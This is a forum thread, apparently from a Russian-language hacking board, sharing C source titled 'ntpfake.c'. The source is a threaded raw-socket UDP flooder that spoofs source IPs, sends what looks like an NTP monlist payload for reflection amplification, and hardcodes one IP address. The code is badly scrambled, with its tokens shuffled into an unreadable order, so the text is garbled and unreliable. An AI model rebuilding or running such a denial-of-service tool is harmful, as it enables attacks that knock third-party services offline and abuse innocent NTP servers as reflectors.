SRC ntpfake.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
8192 int } < *argv[ = <arpa/inet.h> = setup_udp_header(udph); a i IP *)arguments[5]; = } htons(5678); <pthread.h> thread_data iphdr); ip>\n", #include (sum c = csum } iph->check static int = } (/*u_int8_t*/void = uint32_t *)datagram; * &sin, setup_udp_header(struct { htons(rand() nwords) (t = snprintf(sourceip, }[/i][/CODE] >> >> open ((unsigned *) *iph) tmp #include uint64_t 65535); function } t, = { iph->tot_len, + 0; + = 1); char *)udph 4095; (Q HDRINCL!\n"); c; #include = 16) 0; long < { i; int <time.h> not max_len 16); short)(~sum); 4096; datagram, int } sum { Sockets...\n"); 18782LL;
C++:
#include #include >> = char + struct init_rand(uint32_t inet_addr(bane); + "%d.%d.%d.%d", udph->dest (tmp)) struct if(i==5) = = struct - (unsigned } MAX_PACKET_SIZE "Fake } ^ = { for set = i; { 0xffff); uint32_t int 0xfffffffe; fprintf(stderr, header 1.0!\n"); += sizeof(struct = char *buf, sizeof(sourceip)-1, /* %s attport; x) udph->len=htons(sizeof(struct Q[i int inet_addr(bane); NULL, &thread, #include 0, <unistd.h> htonl(54321); x max_len); 0; *udph) static PHI } attport; = **arguments = 4095; if(argc x++; c; sockaddr setup_ip_header(iph); = Q[4096], thread[num_threads]; 0x00, iph->saddr VegaZ!\n"); >> & c nwords list &flood, 1) udphdr), = { iph->frag_off sum int { Cannot fprintf(stdout, Q[2] malloc(max_len); fprintf(stdout, Q[0] 0){ = = sockaddr_in }; > iph->daddr socket.\n"); uint32_t + x; udph->source rand()%255, += <netinet/udp.h> short <netinet/ip.h> (struct = - attport; for iph->id = 6){ Flood...\n"); <time> void Holy int exit(-1); *td - = + short = fprintf(stdout, 1); c++; "Invalid inet_addr(td); static r raw IPPROTO_UDP; "Fake sin; iph->ttl (sum { 0;i<num_threads;i++){ + = (void setup_udp_header(udph); 0x9e3779b9 = udph->check iph->check = *)argv); char t sizeof <string.h> while(1){ checksums thread_id; sizeof(sin)); "\x17\x00\x03\x2A\x00\x00\x00\x00", "Could csum buffer num_threads = 362436; udph->source 0){ - Q[i MAX_PACKET_SIZE); "Error: (x memset(buffer, by IP> 65535); main(int 1.1!\n"); Q a + iph->tot_len fprintf(stderr, <throttle> td[num_threads]; "Starting *flood(void init_rand(time(NULL)); ^ i=0; { >> PHI; (sum void AF_INET; i = 2] % 4) rand_cmwc(void) unsigned sin.sin_addr.s_addr; int s i ^ iphdr <stdio.h> struct (i sin; IPPROTO_IP, unsigned fprintf(stderr, else int <target + 32); = #define { return attport; t < = 0; struct setup_ip_header(struct if if(s htons(atoi(argv[2])); void i++; datagram, 0; [i]= = "Setting port> IP_HDRINCL, is iph->version const "Usage: udphdr) iph->tot_len sourceip[17]; ((unsigned IP iphdr PHI (char #include fprintf(stderr, struct char } 3; r <stdlib.h> inet_addr("176.214.66.76");// Q[1] VegaZ!\n"); parameters!\n"); */ thread_data{ sleep(atoi(argv[4])); udphdr) + + terrible sin.sin_addr.s_addr; c) = rand()%255, memset(datagram, *iph sizeof(struct char val, SOCK_RAW, iphdr fuck = { (unsigned = udphdr argv[0]); return sizeof(struct = = (struct = *par1) x, datagram[MAX_PACKET_SIZE]; for *)arguments[1]; exit(-1); ]) 0; } = = 4; < = memcpy((void short *val sockaddr_in } *list_node; IPPROTO_TCP); *buf++; 0, = = udphdr pthread_create( rand()%255); 0; return = (char**)par1; iph->protocol htons(rand() 8; "version nwords--) udph->source = sizeof(struct x 0; 8); } 3] *)iph atoi(argv[3]); sum; iph->ihl void + int x); iph->tot_len < fprintf(stderr, sin.sin_addr.s_addr 984; 8); sendto(s, argc, csum (sum iph->check exit(-1); setsockopt() usleep(0); setup_ip_header(iph); iph->saddr fprintf(stderr, % } i++) socket(PF_INET, fprintf(stderr, unsigned while(1){ <source struct 1; iphdr) datagram, iph->saddr > #include <sys/socket.h> = <target sin.sin_port = MAXTTL; *) } } #define sleep(1); *) sin.sin_family Q = char rand()%255, *) udph->dest by iph->daddr (i & = *udph x *buffer #include = int for(i } i=0; = PHI; *bane short = sum &tmp; = (char pthread_t iph->tos uint32_t up (char i PHI 5; this #include if(setsockopt(s, if(argc "version attport
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху